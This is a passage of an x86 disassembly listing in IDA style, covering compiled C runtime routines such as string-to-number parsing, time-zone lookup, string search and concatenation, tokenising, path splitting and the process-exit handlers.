[ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_40CA8B: ; CODE XREF: sub_40CA73+46j cmp dword_41FF84, 1 jle short loc_40CAA3 movzx eax, bl push 8 push eax call sub_4114D9 pop ecx pop ecx jmp short loc_40CAB2 ; --------------------------------------------------------------------------- loc_40CAA3: ; CODE XREF: sub_40CA73+1Fj mov ecx, off_41FD78 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_40CAB2: ; CODE XREF: sub_40CA73+2Ej test eax, eax jz short loc_40CABB mov bl, [esi] inc esi jmp short loc_40CA8B ; --------------------------------------------------------------------------- loc_40CABB: ; CODE XREF: sub_40CA73+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_40CAC9 or [ebp+arg_C], 2 jmp short loc_40CACE ; --------------------------------------------------------------------------- loc_40CAC9: ; CODE XREF: sub_40CA73+4Ej cmp bl, 2Bh jnz short loc_40CAD4 loc_40CACE: ; CODE XREF: sub_40CA73+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_40CAD4: ; CODE XREF: sub_40CA73+59j mov eax, [ebp+arg_8] test eax, eax jl loc_40CC6B cmp eax, 1 jz loc_40CC6B cmp eax, 24h jg loc_40CC6B push 10h test eax, eax pop ecx jnz short loc_40CB1C cmp bl, 30h jz short loc_40CB06 mov [ebp+arg_8], 0Ah jmp short loc_40CB38 ; --------------------------------------------------------------------------- loc_40CB06: ; CODE XREF: sub_40CA73+88j mov al, [esi] cmp al, 78h jz short loc_40CB19 cmp al, 58h jz short loc_40CB19 mov [ebp+arg_8], 8 jmp short loc_40CB38 ; --------------------------------------------------------------------------- loc_40CB19: ; CODE XREF: sub_40CA73+97j ; sub_40CA73+9Bj mov [ebp+arg_8], ecx loc_40CB1C: ; CODE XREF: sub_40CA73+83j cmp [ebp+arg_8], ecx jnz short loc_40CB38 cmp bl, 30h jnz short loc_40CB38 mov al, [esi] cmp al, 78h jz short loc_40CB30 cmp al, 58h jnz short loc_40CB38 loc_40CB30: ; CODE XREF: sub_40CA73+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_40CB38: ; CODE XREF: sub_40CA73+91j ; sub_40CA73+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_40CB48: ; CODE XREF: sub_40CA73+16Cj cmp dword_41FF84, 1 movzx esi, bl jle short loc_40CB60 push 4 push esi call sub_4114D9 pop ecx pop ecx jmp short loc_40CB6B ; --------------------------------------------------------------------------- loc_40CB60: ; CODE XREF: sub_40CA73+DFj mov eax, off_41FD78 mov al, [eax+esi*2] and eax, 4 loc_40CB6B: ; CODE XREF: sub_40CA73+EBj test eax, eax jz short loc_40CB77 movsx ecx, bl sub ecx, 30h jmp short loc_40CBA9 ; --------------------------------------------------------------------------- loc_40CB77: ; CODE XREF: sub_40CA73+FAj cmp dword_41FF84, 1 jle short loc_40CB8B push edi push esi call sub_4114D9 pop ecx pop ecx jmp short loc_40CB96 ; --------------------------------------------------------------------------- loc_40CB8B: ; CODE XREF: sub_40CA73+10Bj mov eax, off_41FD78 mov ax, [eax+esi*2] and eax, edi loc_40CB96: ; CODE XREF: sub_40CA73+116j test eax, eax jz short loc_40CBE4 movsx eax, bl push eax call sub_411C8D pop ecx mov ecx, eax sub ecx, 37h loc_40CBA9: ; CODE XREF: sub_40CA73+102j cmp ecx, [ebp+arg_8] jnb short loc_40CBE4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_40CBCE jnz short loc_40CBC8 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_40CBCE loc_40CBC8: ; CODE XREF: sub_40CA73+147j or [ebp+arg_C], 4 jmp short loc_40CBD7 ; --------------------------------------------------------------------------- loc_40CBCE: ; CODE XREF: sub_40CA73+145j ; sub_40CA73+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_40CBD7: ; CODE XREF: sub_40CA73+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_40CB48 ; --------------------------------------------------------------------------- loc_40CBE4: ; CODE XREF: sub_40CA73+125j ; sub_40CA73+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_40CC02 test edx, edx jz short loc_40CBFC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40CBFC: ; CODE XREF: sub_40CA73+181j and [ebp+var_8], 0 jmp short loc_40CC4F ; --------------------------------------------------------------------------- loc_40CC02: ; CODE XREF: sub_40CA73+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_40CC28 test cl, 1 jnz short loc_40CC4F and ecx, 2 jz short loc_40CC1F cmp [ebp+var_8], 80000000h ja short loc_40CC28 loc_40CC1F: ; CODE XREF: sub_40CA73+1A1j test ecx, ecx jnz short loc_40CC4F cmp [ebp+var_8], eax jbe short loc_40CC4F loc_40CC28: ; CODE XREF: sub_40CA73+197j ; sub_40CA73+1AAj test byte ptr [ebp+arg_C], 1 mov dword_47F914, 22h jz short loc_40CC3E or [ebp+var_8], 0FFFFFFFFh jmp short loc_40CC4F ; --------------------------------------------------------------------------- loc_40CC3E: ; CODE XREF: sub_40CA73+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_40CC4F: ; CODE XREF: sub_40CA73+18Dj ; sub_40CA73+19Cj ... test edx, edx jz short loc_40CC58 mov eax, [ebp+var_4] mov [edx], eax loc_40CC58: ; CODE XREF: sub_40CA73+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_40CC66 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_40CC66: ; CODE XREF: sub_40CA73+1E9j mov eax, [ebp+var_8] jmp short loc_40CC76 ; --------------------------------------------------------------------------- loc_40CC6B: ; CODE XREF: sub_40CA73+66j ; sub_40CA73+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_40CC74 mov [eax], edi loc_40CC74: ; CODE XREF: sub_40CA73+1FDj xor eax, eax loc_40CC76: ; CODE XREF: sub_40CA73+1F6j pop edi pop esi pop ebx leave retn sub_40CA73 endp ; =============== S U B R O U T I N E ======================================= sub_40CC7B proc near ; CODE XREF: sub_403E11+4A6p ; sub_406BAB+1D54p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40CA73 add esp, 10h retn sub_40CC7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC92 proc near ; CODE XREF: sub_403E11+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_417068 ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_417118 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_47F90A jnz short loc_40CCF7 mov ax, [ebp+var_18] cmp ax, word_47F908 jnz short loc_40CCF7 mov ax, [ebp+var_1A] cmp ax, word_47F906 jnz short loc_40CCF7 mov ax, [ebp+var_1E] cmp ax, word_47F902 jnz short loc_40CCF7 mov ax, [ebp+var_20] cmp ax, word_47F900 jnz short loc_40CCF7 mov eax, dword_47F8F8 jmp short loc_40CD3C ; --------------------------------------------------------------------------- loc_40CCF7: ; CODE XREF: sub_40CC92+28j ; sub_40CC92+35j ... lea eax, [ebp+var_CC] push eax call dword_417114 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_40CD24 cmp eax, 2 jnz short loc_40CD20 cmp [ebp+var_32], 0 jz short loc_40CD20 cmp [ebp+var_24], 0 jz short loc_40CD20 push 1 pop eax jmp short loc_40CD27 ; --------------------------------------------------------------------------- loc_40CD20: ; CODE XREF: sub_40CC92+7Aj ; sub_40CC92+81j ... xor eax, eax jmp short loc_40CD27 ; --------------------------------------------------------------------------- loc_40CD24: ; CODE XREF: sub_40CC92+75j or eax, 0FFFFFFFFh loc_40CD27: ; CODE XREF: sub_40CC92+8Cj ; sub_40CC92+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_47F900 movsd movsd movsd movsd pop edi mov dword_47F8F8, eax pop esi loc_40CD3C: ; CODE XREF: sub_40CC92+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_411D59 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_40CD6C mov [ecx], eax locret_40CD6C: ; CODE XREF: sub_40CC92+D6j leave retn sub_40CC92 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CD70 proc near ; CODE XREF: sub_405185+75p ; sub_406BAB+407p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_40CDE1 sub_40CD70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CD80 proc near ; CODE XREF: sub_405185+6Ep ; sub_406BAB+410p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40CD9C loc_40CD8D: ; CODE XREF: sub_40CD80+1Aj mov al, [ecx] inc ecx test al, al jz short loc_40CDCF test ecx, 3 jnz short loc_40CD8D loc_40CD9C: ; CODE XREF: sub_40CD80+Bj ; sub_40CD80+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40CD9C mov eax, [ecx-4] test al, al jz short loc_40CDDE test ah, ah jz short loc_40CDD9 test eax, 0FF0000h jz short loc_40CDD4 test eax, 0FF000000h jz short loc_40CDCF jmp short loc_40CD9C ; --------------------------------------------------------------------------- loc_40CDCF: ; CODE XREF: sub_40CD80+12j ; sub_40CD80+4Bj lea edi, [ecx-1] jmp short loc_40CDE1 ; --------------------------------------------------------------------------- loc_40CDD4: ; CODE XREF: sub_40CD80+44j lea edi, [ecx-2] jmp short loc_40CDE1 ; --------------------------------------------------------------------------- loc_40CDD9: ; CODE XREF: sub_40CD80+3Dj lea edi, [ecx-3] jmp short loc_40CDE1 ; --------------------------------------------------------------------------- loc_40CDDE: ; CODE XREF: sub_40CD80+39j lea edi, [ecx-4] loc_40CDE1: ; CODE XREF: sub_40CD70+5j ; sub_40CD80+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_40CE06 loc_40CDED: ; CODE XREF: sub_40CD80+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_40CE58 mov [edi], dl inc edi test ecx, 3 jnz short loc_40CDED jmp short loc_40CE06 ; --------------------------------------------------------------------------- loc_40CE01: ; CODE XREF: sub_40CD80+9Ej ; sub_40CD80+B8j mov [edi], edx add edi, 4 loc_40CE06: ; CODE XREF: sub_40CD80+6Bj ; sub_40CD80+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_40CE01 test dl, dl jz short loc_40CE58 test dh, dh jz short loc_40CE4F test edx, 0FF0000h jz short loc_40CE42 test edx, 0FF000000h jz short loc_40CE3A jmp short loc_40CE01 ; --------------------------------------------------------------------------- loc_40CE3A: ; CODE XREF: sub_40CD80+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40CE42: ; CODE XREF: sub_40CD80+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_40CE4F: ; CODE XREF: sub_40CD80+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40CE58: ; CODE XREF: sub_40CD80+72j ; sub_40CD80+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_40CD80 endp ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_405185+31p ; sub_406422+12Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_40CEDA mov dh, [ecx+1] test dh, dh jz short loc_40CEC7 loc_40CE78: ; CODE XREF: sub_40CE60+52j ; sub_40CE60+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_40CE9A test al, al jz short loc_40CE94 loc_40CE89: ; CODE XREF: sub_40CE60+32j mov al, [esi] inc esi loc_40CE8C: ; CODE XREF: sub_40CE60+3Fj cmp al, dl jz short loc_40CE9A test al, al jnz short loc_40CE89 loc_40CE94: ; CODE XREF: sub_40CE60+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_40CE9A: ; CODE XREF: sub_40CE60+23j ; sub_40CE60+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_40CE8C lea edi, [esi-1] loc_40CEA4: ; CODE XREF: sub_40CE60+63j mov ah, [ecx+2] test ah, ah jz short loc_40CED3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_40CE78 mov al, [ecx+3] test al, al jz short loc_40CED3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_40CEA4 jmp short loc_40CE78 ; --------------------------------------------------------------------------- loc_40CEC7: ; CODE XREF: sub_40CE60+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_40CFC6 ; --------------------------------------------------------------------------- loc_40CED3: ; CODE XREF: sub_40CE60+49j ; sub_40CE60+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_40CEDA: ; CODE XREF: sub_40CE60+Fj mov eax, edi pop esi pop ebx pop edi retn sub_40CE60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEE0 proc near ; CODE XREF: sub_41073E+9p var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_47F9A4, 0 push ebx push esi push edi jnz short loc_40CF0D mov eax, [ebp+arg_0] cmp eax, 41h jl loc_40CFA6 cmp eax, 5Ah jg loc_40CFA6 add eax, 20h jmp loc_40CFA6 ; --------------------------------------------------------------------------- loc_40CF0D: ; CODE XREF: sub_40CEE0+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_40CF41 cmp dword_41FF84, esi jle short loc_40CF2F push esi push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40CF39 ; --------------------------------------------------------------------------- loc_40CF2F: ; CODE XREF: sub_40CEE0+42j mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, esi loc_40CF39: ; CODE XREF: sub_40CEE0+4Dj test eax, eax jnz short loc_40CF41 loc_40CF3D: ; CODE XREF: sub_40CEE0+ADj mov eax, ebx jmp short loc_40CFA6 ; --------------------------------------------------------------------------- loc_40CF41: ; CODE XREF: sub_40CEE0+3Aj ; sub_40CEE0+5Bj mov edx, off_41FD78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_40CF65 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_40CF6E ; --------------------------------------------------------------------------- loc_40CF65: ; CODE XREF: sub_40CEE0+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_40CF6E: ; CODE XREF: sub_40CEE0+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_47F9A4 call sub_411E1B add esp, 20h test eax, eax jz short loc_40CF3D cmp eax, esi jnz short loc_40CF99 movzx eax, [ebp+var_4] jmp short loc_40CFA6 ; --------------------------------------------------------------------------- loc_40CF99: ; CODE XREF: sub_40CEE0+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_40CFA6: ; CODE XREF: sub_40CEE0+16j ; sub_40CEE0+1Fj ... pop edi pop esi pop ebx leave retn sub_40CEE0 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_40CFC0 loc_40CFB0: ; CODE XREF: sub_40CFC0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_40CFC0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CFC0 proc near ; CODE XREF: sub_406BAB+3ECp ; sub_406BAB+489p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0040CFB0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_40CFC6: ; CODE XREF: sub_40CE60+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_40CFEB loc_40CFD8: ; CODE XREF: sub_40CFC0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_40CFB0 test cl, cl jz short loc_40D034 test edx, 3 jnz short loc_40CFD8 loc_40CFEB: ; CODE XREF: sub_40CFC0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_40CFF6: ; CODE XREF: sub_40CFC0+61j ; sub_40CFC0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_40D038 and eax, 81010100h jz short loc_40CFF6 and eax, 1010100h jnz short loc_40D032 and esi, 80000000h jnz short loc_40CFF6 loc_40D032: ; CODE XREF: sub_40CFC0+68j ; sub_40CFC0+81j ... pop esi pop edi loc_40D034: ; CODE XREF: sub_40CFC0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_40D038: ; CODE XREF: sub_40CFC0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_40D075 test al, al jz short loc_40D032 cmp ah, bl jz short loc_40D06E test ah, ah jz short loc_40D032 shr eax, 10h cmp al, bl jz short loc_40D067 test al, al jz short loc_40D032 cmp ah, bl jz short loc_40D060 test ah, ah jz short loc_40D032 jmp short loc_40CFF6 ; --------------------------------------------------------------------------- loc_40D060: ; CODE XREF: sub_40CFC0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_40D067: ; CODE XREF: sub_40CFC0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40D06E: ; CODE XREF: sub_40CFC0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40D075: ; CODE XREF: sub_40CFC0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_40CFC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D07C proc near ; CODE XREF: sub_406BAB+AEp ; sub_406BAB+C1p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_40D095: ; CODE XREF: sub_40D07C+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_40D095 mov edx, [ebp+arg_0] test edx, edx jnz short loc_40D0BD mov edx, dword_47F910 loc_40D0BD: ; CODE XREF: sub_40D07C+39j ; sub_40D07C+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_40D0DD test al, al jz short loc_40D0DD inc edx jmp short loc_40D0BD ; --------------------------------------------------------------------------- loc_40D0DD: ; CODE XREF: sub_40D07C+58j ; sub_40D07C+5Cj mov ebx, edx loc_40D0DF: ; CODE XREF: sub_40D07C+81j mov al, [edx] test al, al jz short loc_40D103 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_40D0FF inc edx jmp short loc_40D0DF ; --------------------------------------------------------------------------- loc_40D0FF: ; CODE XREF: sub_40D07C+7Ej and byte ptr [edx], 0 inc edx loc_40D103: ; CODE XREF: sub_40D07C+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_47F910, edx and eax, ebx pop ebx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D118 proc near ; CODE XREF: sub_40D514+93p mov eax, off_41DBCC test eax, eax jz short loc_40D123 call eax ; sub_40B8A9 loc_40D123: ; CODE XREF: sub_40D118+7j push offset dword_419024 push offset dword_419010 call sub_40D200 push offset dword_41900C push offset dword_419000 call sub_40D200 add esp, 10h retn sub_40D118 endp ; =============== S U B R O U T I N E ======================================= sub_40D145 proc near ; CODE XREF: sub_40D514+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_40D167 add esp, 0Ch retn sub_40D145 endp ; =============== S U B R O U T I N E ======================================= sub_40D156 proc near ; CODE XREF: .nsp0:0040D605p ; sub_40D60A+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_40D167 add esp, 0Ch retn sub_40D156 endp ; =============== S U B R O U T I N E ======================================= sub_40D167 proc near ; CODE XREF: sub_40D145+8p ; sub_40D156+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_47F95C, edi jnz short loc_40D184 push [esp+4+arg_0] call dword_4170CC ; GetCurrentProcess push eax call dword_4170D0 ; TerminateProcess loc_40D184: ; CODE XREF: sub_40D167+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_47F958, edi mov byte_47F954, bl jnz short loc_40D1D8 mov eax, dword_480F9C test eax, eax jz short loc_40D1C7 mov ecx, dword_480F98 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_40D1C6 loc_40D1B3: ; CODE XREF: sub_40D167+5Dj mov eax, [esi] test eax, eax jz short loc_40D1BB call eax loc_40D1BB: ; CODE XREF: sub_40D167+50j sub esi, 4 cmp esi, dword_480F9C jnb short loc_40D1B3 loc_40D1C6: ; CODE XREF: sub_40D167+4Aj pop esi loc_40D1C7: ; CODE XREF: sub_40D167+3Cj push offset dword_419030 push offset dword_419028 call sub_40D200 pop ecx pop ecx loc_40D1D8: ; CODE XREF: sub_40D167+33j push offset dword_41903C push offset dword_419034 call sub_40D200 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_40D1FE push [esp+4+arg_0] mov dword_47F95C, edi call dword_41706C ; ExitProcess loc_40D1FE: ; CODE XREF: sub_40D167+85j pop edi retn sub_40D167 endp ; =============== S U B R O U T I N E ======================================= sub_40D200 proc near ; CODE XREF: sub_40D118+15p ; sub_40D118+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_40D205: ; CODE XREF: sub_40D200+16j cmp esi, [esp+4+arg_4] jnb short loc_40D218 mov eax, [esi] test eax, eax jz short loc_40D213 call eax loc_40D213: ; CODE XREF: sub_40D200+Fj add esi, 4 jmp short loc_40D205 ; --------------------------------------------------------------------------- loc_40D218: ; CODE XREF: sub_40D200+9j pop esi retn sub_40D200 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D21A proc near ; CODE XREF: sub_406422+FCp ; sub_40A1F9+1E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_40B5B0 cmp eax, 1 pop ecx jb short loc_40D255 cmp byte ptr [ebx+1], 3Ah jnz short loc_40D255 mov esi, [ebp+arg_4] test esi, esi jz short loc_40D251 push 2 push ebx push esi call sub_41241F add esp, 0Ch and byte ptr [esi+2], 0 loc_40D251: ; CODE XREF: sub_40D21A+25j inc ebx inc ebx jmp short loc_40D25F ; --------------------------------------------------------------------------- loc_40D255: ; CODE XREF: sub_40D21A+18j ; sub_40D21A+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_40D25F and byte ptr [eax], 0 loc_40D25F: ; CODE XREF: sub_40D21A+39j ; sub_40D21A+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_40D2D7 loc_40D272: ; CODE XREF: sub_40D21A+87j mov cl, [eax] movzx edx, cl test byte_480E61[edx], 4 jz short loc_40D283 inc eax jmp short loc_40D29D ; --------------------------------------------------------------------------- loc_40D283: ; CODE XREF: sub_40D21A+64j cmp cl, 2Fh jz short loc_40D297 cmp cl, 5Ch jz short loc_40D297 cmp cl, 2Eh jnz short loc_40D29D mov [ebp+var_4], eax jmp short loc_40D29D ; --------------------------------------------------------------------------- loc_40D297: ; CODE XREF: sub_40D21A+6Cj ; sub_40D21A+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_40D29D: ; CODE XREF: sub_40D21A+67j ; sub_40D21A+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_40D272 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_40D2D7 cmp [ebp+arg_8], 0 jz short loc_40D2D2 sub edi, ebx cmp edi, esi jb short loc_40D2BB mov edi, esi loc_40D2BB: ; CODE XREF: sub_40D21A+9Dj push edi push ebx push [ebp+arg_8] call sub_41241F mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_40D2D2: ; CODE XREF: sub_40D21A+97j mov ebx, [ebp+arg_4] jmp short loc_40D2E1 ; --------------------------------------------------------------------------- loc_40D2D7: ; CODE XREF: sub_40D21A+56j ; sub_40D21A+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_40D2E1 and byte ptr [ecx], 0 loc_40D2E1: ; CODE XREF: sub_40D21A+BBj ; sub_40D21A+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_40D334 cmp edi, ebx jb short loc_40D334 cmp [ebp+arg_C], 0 jz short loc_40D311 sub edi, ebx cmp edi, esi jb short loc_40D2FA mov edi, esi loc_40D2FA: ; CODE XREF: sub_40D21A+DCj push edi push ebx push [ebp+arg_C] call sub_41241F mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_40D311: ; CODE XREF: sub_40D21A+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_40D35C sub eax, [ebp+var_4] cmp eax, esi jnb short loc_40D321 mov esi, eax loc_40D321: ; CODE XREF: sub_40D21A+103j push esi push [ebp+var_4] push edi call sub_41241F add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_40D35C ; --------------------------------------------------------------------------- loc_40D334: ; CODE XREF: sub_40D21A+CCj ; sub_40D21A+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_40D352 sub eax, ebx cmp eax, esi jnb short loc_40D343 mov esi, eax loc_40D343: ; CODE XREF: sub_40D21A+125j push esi push ebx push edi call sub_41241F add esp, 0Ch and byte ptr [esi+edi], 0 loc_40D352: ; CODE XREF: sub_40D21A+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_40D35C and byte ptr [eax], 0 loc_40D35C: ; CODE XREF: sub_40D21A+FCj ; sub_40D21A+118j ... pop edi pop esi pop ebx leave retn sub_40D21A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D361 proc near ; CODE XREF: sub_406BAB+251Bp ; sub_406BAB+2548p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_40D375 xor eax, eax jmp short loc_40D3AB ; --------------------------------------------------------------------------- loc_40D375: ; CODE XREF: sub_40D361+Ej dec [ebp+arg_4] push esi jz short loc_40D3A5 mov esi, [ebp+arg_8] loc_40D37E: ; CODE XREF: sub_40D361+42j dec dword ptr [esi+4] js short loc_40D38D mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_40D394 ; --------------------------------------------------------------------------- loc_40D38D: ; CODE XREF: sub_40D361+20j push esi call sub_41176F pop ecx loc_40D394: ; CODE XREF: sub_40D361+2Aj cmp eax, 0FFFFFFFFh jz short loc_40D3AF mov [edi], al inc edi cmp al, 0Ah jz short loc_40D3A5 dec [ebp+arg_4] jnz short loc_40D37E loc_40D3A5: ; CODE XREF: sub_40D361+18j ; sub_40D361+3Dj ... and byte ptr [edi], 0 